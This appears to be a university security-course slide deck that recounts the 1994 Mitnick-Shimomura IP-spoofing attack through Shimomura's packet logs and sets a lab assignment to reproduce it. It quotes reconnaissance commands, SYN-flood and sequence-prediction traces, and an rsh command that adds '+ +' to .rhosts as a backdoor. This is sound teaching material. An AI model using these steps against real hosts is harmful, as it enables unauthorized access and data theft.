Computer and Network Security

Assignment 2 - Mitnick vs. Shimomura

Brian Johannesmeyer, Elia Geretto

Department of Computer Science
Vrije Universiteit Amsterdam

September 8, 2020

Mitnick's Attack on Shimomura's Computers

*"On Christmas Day, 1994, a hacker launched a sophisticated **IP spoofing** attack against Tsutomu Shimomura's computers in San Diego Supercomputer Center"*

- This hacker turned out to be Kevin Mitnick.
- He was arrested by FBI on Feb. 15, 1995, in Raleigh, North Carolina, USA. Not his first arrest for hacking!
- He was released on Jan. 21 2000 (on a three-year probation)
- ...and he's back in business: `https://www.mitnicksecurity.com/`

Mitnick's Attack on Shimomura's Computers

> *"On Christmas Day, 1994, a hacker launched a sophisticated* ***IP spoofing*** *attack against Tsutomu Shimomura's computers in San Diego Supercomputer Center"*

- This hacker turned out to be Kevin Mitnick.
- He was arrested by FBI on Feb. 15, 1995, in Raleigh, North Carolina, USA. Not his first arrest for hacking!
- He was released on Jan. 21 2000 (on a three-year probation)
- ...and he's back in business: `https://www.mitnicksecurity.com/`

Mitnick's Attack on Shimomura's Computers

> *"On Christmas Day, 1994, a hacker launched a sophisticated **IP spoofing** attack against Tsutomu Shimomura's computers in San Diego Supercomputer Center"*

- This hacker turned out to be Kevin Mitnick.
- He was arrested by FBI on Feb. 15, 1995, in Raleigh, North Carolina, USA. Not his first arrest for hacking!
- He was released on Jan. 21 2000 (on a three-year probation)
- ...and he's back in business: `https://www.mitnicksecurity.com/`

The Attack

In a Nutshell

- Pre-requisites:
  - Existing trust relationship: `x-terminal` trusts `server`
  - TCP ISN probe/prediction
- Steps:
  - TCP `SYN` flooding towards a service on `server`, which requires to impersonate a non-existing host, named `target`
  - IP Spoofing with blind connection establishment, by impersonating `server`
  - Backdoor injection on `x-terminal` pretending to be `server`
- Result: Free connection from **anywhere** without password!

Trust Relationship

(Shimomura's Analysis)

- The IP spoofing attack started @ 14:09:32 PST on 25 December, 1994
- The first probes were from toad.com (which Mitnick had compromised).

```
14:09:32 toad.com# finger -l @target
14:10:21 toad.com# finger -l @server
14:10:50 toad.com# finger -l root@server
14:11:07 toad.com# finger -l @x-terminal
14:11:38 toad.com# showmount -e x-terminal
14:11:49 toad.com# rpcinfo -p x-terminal
14:12:05 toad.com# finger -l root@x-terminal
```

- Apparent purpose: determine if there might be some kind of trust relationship amongst these systems.
- Relationship that could be exploited with an IP spoofing attack.

TCP SYN Flood I

(Shimomura's Analysis)

- A bunch of TCP SYNs from 130.92.6.97 to port 513 (login) on server.
- The goal is to fill the connection queue for port 513 on server with "half-open" connections.

```
14:18:22.516699 130.92.6.97.600 > server.login: S 1382726960:1382726960(0)
14:18:22.566069 130.92.6.97.601 > server.login: S 1382726961:1382726961(0)
14:18:22.744477 130.92.6.97.602 > server.login: S 1382726962:1382726962(0)
14:18:22.830111 130.92.6.97.603 > server.login: S 1382726963:1382726963(0)
14:18:22.886128 130.92.6.97.604 > server.login: S 1382726964:1382726964(0)
...
14:18:25.599582 130.92.6.97.628 > server.login: S 1382726988:1382726988(0)
14:18:25.653131 130.92.6.97.629 > server.login: S 1382726989:1382726989(0)
```

TCP `SYN` Flood II

(Shimomura's Analysis)

- Resulting effect:
  - `server` will thus not respond to any new connection requests to port 513.
  - `server` will not generate TCP `RST`s in response to unexpected `SYN-ACK`s (i.e., from `xterminal` in a later stage of the attack).
- Notes:
  - On a higher-level, this means that `server.login` can be used as the source in an address spoofing attack on the UNIX "r-services" (`rsh`, `rlogin`).
  - The IP `130.92.6.97` appears to be a random (forged) unused address – one that will not generate any response to packets sent to it.

TCP ISN Probe I

(Shimomura's Analysis)

```
14:18:25.906002 apollo.it.luc.edu.1000 > x-terminal.shell:
   S 1382726990:1382726990(0) win 4096
14:18:26.094731 x-terminal.shell > apollo.it.luc.edu.1000:
   S 2021824000:2021824000(0) ack 1382726991 win 4096
14:18:26.172394 apollo.it.luc.edu.1000 > x-terminal.shell:
   R 1382726991:1382726991(0) win 0
14:18:26.507560 apollo.it.luc.edu.999 > x-terminal.shell:
   S 1382726991:1382726991(0) win 4096
14:18:26.694691 x-terminal.shell > apollo.it.luc.edu.999:
   S 2021952000:2021952000(0) ack 1382726992 win 4096
14:18:26.775037 apollo.it.luc.edu.999 > x-terminal.shell:
   R 1382726992:1382726992(0) win 0
14:18:27.014050 apollo.it.luc.edu.998 > x-terminal.shell:
   S 1382726992:1382726992(0) win 4096
14:18:27.174846 x-terminal.shell > apollo.it.luc.edu.998:
   S 2022080000:2022080000(0) ack 1382726993 win 4096
14:18:27.251840 apollo.it.luc.edu.998 > x-terminal.shell:
   R 1382726993:1382726993(0) win 0
...
```

TCP ISN Probe II

(Shimomura's Analysis)

- A series of connection attempts to `x-terminal.shell`.
- The goal is to attempt to determine the behavior of `x-terminal`'s TCP sequence number generator.
- Notes:
  - Each `SYN-ACK` packet sent by `x-terminal` has an ISN which differs from the previous one by 128000.
  - The initial sequence number (ISN) is incremented by one for each connection – an indication that the `SYN` packets are **not** generated by the system's TCP stack.
  - The TCP stack of `attacker` will receive the `SYN-ACK` packets sent by `x-terminal`, and will respond with `RST` packets to close the connection.
  - Thus, the connection queue on `x-terminal` does not fill-up.

IP Spoofing and TCP Connection Establishment I

(Shimomura's Analysis)

- The attacker has guessed that `x-terminal` probably trusts `server`.
- Therefore, with a successful spoof attack, posing as `server`, `rsh` service on `x-terminal` can be tricked to execute arbitrary commands.
- We see a forged `SYN`, allegedly from `server.login` to `x-terminal.shell`.
- `x-terminal` then replies to `server` with a `SYN-ACK`.

IP Spoofing and TCP Connection Establishment II

(Shimomura's Analysis)

- `SYN-ACK` must be properly `ACK`'d with a spoofed packet in order for the TCP connection to be established.
- The attacker is able to blindly construct a proper `ACK` packet!
  - Attacker can't see the `SYN-ACK` packet (off-path).
  - ...but he can **predict** the sequence number contained in it based on the known behavior of `x-terminal`'s TCP sequence number generator.
- Because of the ongoing `SYN`-flood attack, `server` remains oblivious to what is happening – ignores any packets sent to `server.login`.

The Backdoor: Trust Relationship Exploitation I

(Shimomura's Analysis)

- The spoofing machine has a **one-way** connection to `x-terminal.shell` which appears to be from `server.login`.
- It can maintain the connection and send data provided that it can properly `ACK` any data sent by `x-terminal`.
- However for the connection to remain open, the attacker also needs to follow the `rsh` protocol for the data sent over it.
- Too much work for a hacker! :-)

The Backdoor: Trust Relationship Exploitation II

(Shimomura's Analysis)

- Instead, it sends the following:

```
14:18:37.265404 server.login > x-terminal.shell: P 0:2(2) ack 1
14:18:37.775872 server.login > x-terminal.shell: P 2:7(5) ack 1
14:18:38.287404 server.login > x-terminal.shell: P 7:32(25) ack 1
```

- The payload of the sent packets **roughly** translates to:

```
14:18:37 server# rsh x-terminal "echo + + >> .rhosts"
```

- Backdoor installed! Attacker can now exfiltrate data at his comfort by using the regular `rsh` client.

Your Assignment

Overview

- Reproduce a Mitnick vs Shimomura resembling attack, posing as Kevin Mitnick :-)
- A setup of 3 VMs per student:
  - `attacker`, `x-terminal`, and `server` (discussed next)
  - You will have shell access only to the `attacker` VM.
  - The `attacker` VM is off-path. I.e. it cannot intercept traffic between the other two.
- Credentials and login instructions expected to go out later today.

Your Assignment

Important Notes

- Remember that we are ethical hackers!
- Do not try to attack our VM setup, use the VMs to perform attacks against other machines, or plagiarize.
- This would result in disciplinary action.

Your Assignment

Goals

- **Exploit the trust relationship between `x-terminal`, and `server`.**
- Allow further logins with `rlogin`/`rsh` without a password.
- Retrieve Tsutomu Shimomura's secret from his home directory, i.e., the file `/home/tsutomu/secret.txt`, as proof of success.

Assignment Setup

The `attacker` VM

- The only VM that you have access to.
- Runs Debian 8.
- You should find installed all the packages required for the assignment.
- Feel free to install additional tools you may find useful for development. **Your implementation must not rely on them!**

Assignment Setup

The `x-terminal` VM

- Runs a **patched** Linux kernel.
  - TCP sequence number incremented in a predictable pattern.
- Runs `rshd`, and `rlogind`.
- Again, it trusts `server`
  - r-services use IP-based authentication ;-)
- No firewall, TCP `syncookies` on.

Your Assignment I

The server VM

- Runs rlogind.
- Again, it is trusted by x-terminal.
- TCP syncookies on.
  - A real SYN-flood attack is not possible!
  - We are going to **simulate** it! :-)

Your Assignment II

The `server` VM

- `server` runs a custom daemon to simulate the effect of a `SYN`-flood attack.
- The daemon examines incoming TCP SYN segments to TCP port 513: `<spoofed src,sport,dst,dport>`
- And it looks for certain payloads:
  - When 10 packets with `disable` in the payload are received, it blocks further interaction with `dport`.
  - When 1 packet with `enable` in the payload is received, it unblocks further interactions with `dport`.

Assignment Requirements

- Your whole program **must** be written in C.
  - (simulated) TCP `SYN` flooding
  - TCP seqno probe/prediction
  - Backdoor injection that exploits the trust relationship
- You **must** use `libnet` version 1.1.x.
  - Package: `libnet1-dev` (already installed)
  - Web site: http://sourceforge.net/projects/libnet-dev/
  - Tutorial: http://repolinux.wordpress.com/2011/09/18/libnet-1-1-tutorial/
- You **must** use `libpcap`.
  - Package: `libpcap-dev` (already installed)

Assignment Hints

- Sniff the network to see how a normal `rsh` session works. Use the information to help you inject the command you want.
- Look at `rsh` source code to better understand how it works. Install it with `apt-get source netkit-rsh`.
- While your final submission has to be in C, you may still build a quick prototype in any other language that you are handy with and then "port" your solution to C/`libnet`/`libpcap`.
- Cleanup after yourself!

Assignment Submission

The Basics

- **Deadline:** Tuesday 22nd of September 2020, by 17:30 (CEST)
- Upload to Canvas.
  - As with Assignment 1, you will find a `sanity_check_assignment2.py` script (which requires Python 3.8). Use it to test your ZIP archive before submission. If the archive does not pass the tests, your assignment will not be evaluated.
  - If your program does not compile, your assignment will not be evaluated.
- Grading Information:
  - Attack reliability matters!
  - **Speed Bonus:** The first 5 submissions that include the correct `secret.txt` will get a 1.0 …0.2 bonus. Only the time of your final submission will be considered.

Assignment Submission

Submission Format

- Submit a **flat zip file** (i.e. no subdirectories) that contains:
  - `README` – a plain ASCII file explaining what you did.
    - As with Assignment 1, it must be **headed by 5 lines**, containing in order your: hacker handle, name, e-mail, VU-net id and student number.
    - After the heading lines, use free text to (1) explain your attack implementation and (2) describe the ISN generation algorithm. Limit your explanation to fewer than 300 words.
  - `secret.txt` – the file you recovered from `x-terminal`
  - your program source code and related files (e.g. Makefile)
  - `make.sh` – a shell script that compiles your attack (used by submission checker)
  - `go.sh` – a shell script that compiles and runs your attack (used during grading)
  - **no binaries or object files**

Need help?

- **Canvas** is the main hub for receiving help:
  https://canvas.vu.nl/courses/49820/discussion_topics
- Before asking something on Canvas:
  - Make sure you've read all the previous discussions
  - Make sure your question doesn't contain substantial "spoilers"
- Not sure if your question is spoiler-free?
  - Try emailing us: cns@vusec.net
  - We may still redirect you to Canvas before answering

Further Readings

- *rshd(8) - Remote Shell Server Manual*

  https://linux.die.net/man/8/rshd

- Mike Shiffman (aka route|daemon9): *IP Spoofing Demystified*

  http://phrack.org/issues/48/14.html

- Robert T. Morris: *A Weakness in the 4.2BSD Unix TCP/IP Software*

  http://pdos.csail.mit.edu/~rtm/papers/117.pdf

- Steve M. Bellovin: *A Look Back at "Security Problems in the TCP/IP Protocol Suite"*

  http://www.cs.columbia.edu/~smb/papers/ipext.pdf

Acknowledgements

This assignment wouldn't have been possible without the hard work of Andrei Bacs, Remco Vermeulen and Erik Bosman.